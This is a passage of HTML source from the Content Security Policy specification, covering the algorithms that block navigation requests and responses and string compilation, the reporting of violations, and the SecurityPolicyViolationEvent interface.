href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url②\">URL</a>.</p>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①②\">disposition</a> is \"<code>enforce</code>\", then\n  set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>result</var> is \"<code>Allowed</code>\", and if <var>navigation request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\" id=\"ref-for-concept-request-url②\">url</a>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme②\">scheme</a> is <code>javascript</code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>policy</var> in <var>source</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#active-document\" id=\"ref-for-active-document②\">active document</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list⑧\">CSP List</a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>For each <var>directive</var> in <var>policy</var>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>If <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\" id=\"ref-for-directive-inline-check①\">inline check</a> returns \"<code>Allowed</code>\" when executed upon <var>navigation request</var>, <var>type</var>, <var>source</var>, and <var>target</var>, skip to the next <var>directive</var>.</p>\n          </ol>\n         <li data-md=\"\">\n          <p>Otherwise, let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on <var>source</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-relevant-global\" id=\"ref-for-concept-relevant-global①\">relevant global\n  object</a>, <var>policy</var>, and <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name④\">name</a>.</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource④\">resource</a> to <var>navigation\n  request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url③\">URL</a>.</p>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①③\">disposition</a> is \"<code>enforce</code>\", then\n  set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy?\" data-level=\"4.2.6\" id=\"should-block-navigation-response\"><span class=\"secno\">4.2.6. </span><span class=\"content\"> Should <var>navigation response</var> to <var>navigation request</var> of <var>type</var> from <var>source</var> in <var>target</var> be blocked by Content Security Policy? </span><a class=\"self-link\" href=\"#should-block-navigation-response\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①④\">request</a> (<var>navigation request</var>),, a string (<var>type</var>, either\n  \"<code>form-submission</code>\" or \"<code>other</code>\"), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①⑥\">response</a> <var>navigation\n  response</var>, and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context④\">browsing contexts</a> (<var>source</var> and <var>target</var>), this algorithm\n  returns \"<code>Blocked</code>\" if the active policy blocks the navigation, and \"<code>Allowed</code>\"\n  otherwise:</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>navigation response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list⑨\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-navigation-response-check\" id=\"ref-for-directive-navigation-response-check\">navigation response check</a> returns \"<code>Allowed</code>\" when executed upon <var>navigation request</var>, <var>type</var>, <var>navigation response</var>, <var>source</var>, and <var>target</var>, skip to the next <var>directive</var>.</p>\n         <li data-md=\"\">\n          <p>Otherwise, let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on <code>null</code>, <var>policy</var>, and <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name⑤\">name</a>.</p>\n          <p class=\"note\" role=\"note\"><span>Note:</span> We use <code>null</code> for the global object, as no global exists:\n  we haven’t processed the navigation to create a Document yet.</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource⑤\">resource</a> to <var>navigation\n  response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url④\">URL</a>.</p>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①④\">disposition</a> is \"<code>enforce</code>\", then\n  set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"4.3\" id=\"ecma-integration\"><span class=\"secno\">4.3. </span><span class=\"content\">Integration with ECMAScript</span><a class=\"self-link\" href=\"#ecma-integration\"></a></h3>\n    <p>ECMAScript defines a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-hostensurecancompilestrings\" id=\"ref-for-sec-hostensurecancompilestrings\">HostEnsureCanCompileStrings()</a></code> abstract operation\n  which allows the host environment to block the compilation of strings into\n  ECMAScript code. This document defines an implementation of that abstract\n  operation thich examines the relevant <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①⑤\">CSP list</a> to determine whether such compilation ought to be blocked.</p>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source)\" data-dfn-type=\"dfn\" data-level=\"4.3.1\" data-lt=\"EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source)\" data-noexport=\"\" id=\"can-compile-strings\"><span class=\"secno\">4.3.1. </span><span class=\"content\"> EnsureCSPDoesNotBlockStringCompilation(<var>callerRealm</var>, <var>calleeRealm</var>, <var>source</var>) </span><a class=\"self-link\" href=\"#can-compile-strings\"></a></h4>\n    <p>Given two <a data-link-type=\"dfn\" href=\"https://tc39.github.io/ecma262#realm\" id=\"ref-for-realm\">realms</a> (<var>callerRealm</var> and <var>calleeRealm</var>), and a string (<var>source</var>), this algorithm\n  returns normally if string compilation is allowed, and throws an \"<code>EvalError</code>\" if not:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>globals</var> be a list containing <var>callerRealm</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-realm-global\" id=\"ref-for-concept-realm-global\">global object</a> and <var>calleeRealm</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-realm-global\" id=\"ref-for-concept-realm-global①\">global object</a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>global</var> in <var>globals</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n       <li data-md=\"\">\n        <p>For each <var>policy</var> in <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①⑥\">CSP list</a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>source-list</var> be <code>null</code>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives⑧\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name⑥\">name</a> is \"<code>script-src</code>\", then\n  set <var>source-list</var> to that <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives⑨\">directive</a>'s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑤\">value</a>.</p>\n          <p>Otherwise if <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①⓪\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name⑦\">name</a> is\n  \"<code>default-src</code>\", then set <var>source-list</var> to that directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑥\">value</a>.</p>\n         <li data-md=\"\">\n          <p>If <var>source-list</var> is non-<code>null</code>, and does not contain a <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression②\">source expression</a> which is\n  an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①\">ASCII case-insensitive</a> match for the string \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-eval\" id=\"ref-for-grammardef-unsafe-eval\"><code>'unsafe-eval'</code></a>\",\n  then:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on <var>global</var>, <var>policy</var>, and \"<code>script-src</code>\".</p>\n           <li data-md=\"\">\n            <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource⑥\">resource</a> to \"<code>inline</code>\".</p>\n           <li data-md=\"\">\n            <p>If <var>source-list</var> <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list-contain\" id=\"ref-for-list-contain②\">contains</a> the expression\n  \"<a data-link-type=\"grammar\" href=\"#grammardef-report-sample\" id=\"ref-for-grammardef-report-sample②\"><code>'report-sample'</code></a>\", then set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-sample\" id=\"ref-for-violation-sample③\">sample</a> to\n  the substring of <var>source</var> containing its first 40 characters.</p>\n           <li data-md=\"\">\n            <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n           <li data-md=\"\">\n            <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①⑤\">disposition</a> is \"<code>enforce</code>\", then set <var>result</var> to\n  \"<code>Blocked</code>\".</p>\n          </ol>\n        </ol>\n       <li data-md=\"\">\n        <p>If <var>result</var> is \"<code>Blocked</code>\", throw an <code>EvalError</code> exception.</p>\n      </ol>\n    </ol>\n    <p class=\"issue\" id=\"issue-910d1dca\"><a class=\"self-link\" href=\"#issue-910d1dca\"></a> <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-hostensurecancompilestrings\" id=\"ref-for-sec-hostensurecancompilestrings①\">HostEnsureCanCompileStrings()</a></code> does not include the string which is\n  going to be compiled as a parameter. We’ll also need to update HTML to pipe that value through\n  to CSP. <a href=\"https://github.com/tc39/ecma262/issues/938\">&lt;https://github.com/tc39/ecma262/issues/938></a></p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"5\" id=\"reporting\"><span class=\"secno\">5. </span><span class=\"content\"> Reporting </span><a class=\"self-link\" href=\"#reporting\"></a></h2>\n    <p>When one or more of a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②⑤\">policy</a>’s directives is violated, a <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" data-lt=\"violation report\" id=\"violation-report\">violation\n  report</dfn> may be generated and sent out to a reporting endpoint associated\n  with the <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②⑥\">policy</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"5.1\" id=\"violation-events\"><span class=\"secno\">5.1. </span><span class=\"content\"> Violation DOM Events </span><a class=\"self-link\" href=\"#violation-events\"></a></h3>\n<pre class=\"idl highlight def\"><span class=\"kt\">enum</span> <dfn class=\"nv dfn-paneled idl-code\" data-dfn-type=\"enum\" data-export=\"\" id=\"enumdef-securitypolicyviolationeventdisposition\"><code>SecurityPolicyViolationEventDisposition</code></dfn> {\n  <dfn class=\"s idl-code\" data-dfn-for=\"SecurityPolicyViolationEventDisposition\" data-dfn-type=\"enum-value\" data-export=\"\" data-lt=\"&quot;enforce&quot;|enforce\" id=\"dom-securitypolicyviolationeventdisposition-enforce\"><code>\"enforce\"</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventdisposition-enforce\"></a></dfn>, <dfn class=\"s idl-code\" data-dfn-for=\"SecurityPolicyViolationEventDisposition\" data-dfn-type=\"enum-value\" data-export=\"\" data-lt=\"&quot;report&quot;|report\" id=\"dom-securitypolicyviolationeventdisposition-report\"><code>\"report\"</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventdisposition-report\"></a></dfn>\n};\n\n[<dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"constructor\" data-export=\"\" data-lt=\"SecurityPolicyViolationEvent(type, eventInitDict)|SecurityPolicyViolationEvent(type)\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent\"><code>Constructor</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\"></a></dfn>(<a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString\"><span class=\"kt\">DOMString</span></a> <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"><code>type</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"></a></dfn>, <span class=\"kt\">optional</span> <a class=\"n\" data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\" id=\"ref-for-dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"><code>eventInitDict</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"></a></dfn>)]\n<span class=\"kt\">interface</span> <dfn class=\"nv dfn-paneled idl-code\" data-dfn-type=\"interface\" data-export=\"\" id=\"securitypolicyviolationevent\"><code>SecurityPolicyViolationEvent</code></dfn> : <a class=\"n\" data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#event\" id=\"ref-for-event\">Event</a> {\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-documenturi\"><code>documentURI</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString②\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-referrer\"><code>referrer</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString③\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-blockeduri\"><code>blockedURI</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString④\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-violateddirective\"><code>violatedDirective</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑤\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-effectivedirective\"><code>effectiveDirective</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑥\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-originalpolicy\"><code>originalPolicy</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑦\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-sourcefile\"><code>sourceFile</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑧\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString\" id=\"dom-securitypolicyviolationevent-sample\"><code>sample</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n\" data-link-type=\"idl-name\" href=\"#enumdef-securitypolicyviolationeventdisposition\" id=\"ref-for-enumdef-securitypolicyviolationeventdisposition\">SecurityPolicyViolationEventDisposition</a>      <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"SecurityPolicyViolationEventDisposition\" id=\"dom-securitypolicyviolationevent-disposition\"><code>disposition</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-unsigned-short\" id=\"ref-for-idl-unsigned-short\"><span class=\"kt\">unsigned</span> <span class=\"kt\">short</span></a> <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"unsigned short\" id=\"dom-securitypolicyviolationevent-statuscode\"><code>statusCode</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long\"><span class=\"kt\">long</span></a>           <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"long\" id=\"dom-securitypolicyviolationevent-linenumber\"><code>lineNumber</code></dfn>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long①\"><span class=\"kt\">long</span></a>           <dfn class=\"nv dfn-paneled idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"long\" id=\"dom-securitypolicyviolationevent-columnnumber\"><code>columnNumber</code></dfn>;\n};\n\n<span class=\"kt\">dictionary</span> <dfn class=\"nv dfn-paneled idl-code\" data-dfn-type=\"dictionary\" data-export=\"\" id=\"dictdef-securitypolicyviolationeventinit\"><code>SecurityPolicyViolationEventInit</code></dfn> : <a class=\"n\" data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#dictdef-eventinit\" id=\"ref-for-dictdef-eventinit\">EventInit</a> {\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑨\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-documenturi\"><code>documentURI</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-documenturi\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⓪\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-referrer\"><code>referrer</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-referrer\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①①\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-blockeduri\"><code>blockedURI</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①②\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-violateddirective\"><code>violatedDirective</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①③\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-effectivedirective\"><code>effectiveDirective</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①④\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-originalpolicy\"><code>originalPolicy</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⑤\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-sourcefile\"><code>sourceFile</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⑥\"><span class=\"kt\">DOMString</span></a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString      \" id=\"dom-securitypolicyviolationeventinit-sample\"><code>sample</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sample\"></a></dfn>;\n    <a class=\"n\" data-link-type=\"idl-name\" href=\"#enumdef-securitypolicyviolationeventdisposition\" id=\"ref-for-enumdef-securitypolicyviolationeventdisposition①\">SecurityPolicyViolationEventDisposition</a>      <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"SecurityPolicyViolationEventDisposition      \" id=\"dom-securitypolicyviolationeventinit-disposition\"><code>disposition</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-disposition\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-unsigned-short\" id=\"ref-for-idl-unsigned-short①\"><span class=\"kt\">unsigned</span> <span class=\"kt\">short</span></a> <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"unsigned short \" id=\"dom-securitypolicyviolationeventinit-statuscode\"><code>statusCode</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-statuscode\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long②\"><span class=\"kt\">long</span></a>           <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"long           \" id=\"dom-securitypolicyviolationeventinit-linenumber\"><code>lineNumber</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-linenumber\"></a></dfn>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long③\"><span class=\"kt\">long</span></a>           <dfn class=\"nv idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"long           \" id=\"dom-securitypolicyviolationeventinit-columnnumber\"><code>columnNumber</code><a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"></a></dfn>;\n};\n</pre>\n    <h3 class=\"heading settled\" data-level=\"5.2\" id=\"deprecated-serialize-violation\"><span class=\"secno\">5.2. </span><span class=\"content\"> Obtain the deprecated serialization of <var>violation</var> </span><a class=\"self-link\" href=\"#deprecated-serialize-violation\"></a></h3>\n    <p>Given a <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①⑦\">violation</a> (<var>violation</var>), this algorithm returns a JSON text\n  string representation of the violation, suitable for submission to a reporting\n  endpoint associated with the deprecated <a data-link-type=\"dfn\" href=\"#report-uri\" id=\"ref-for-report-uri\"><code>report-uri</code></a> directive.</p>\n    <ol>\n     <li data-md=\"\">\n      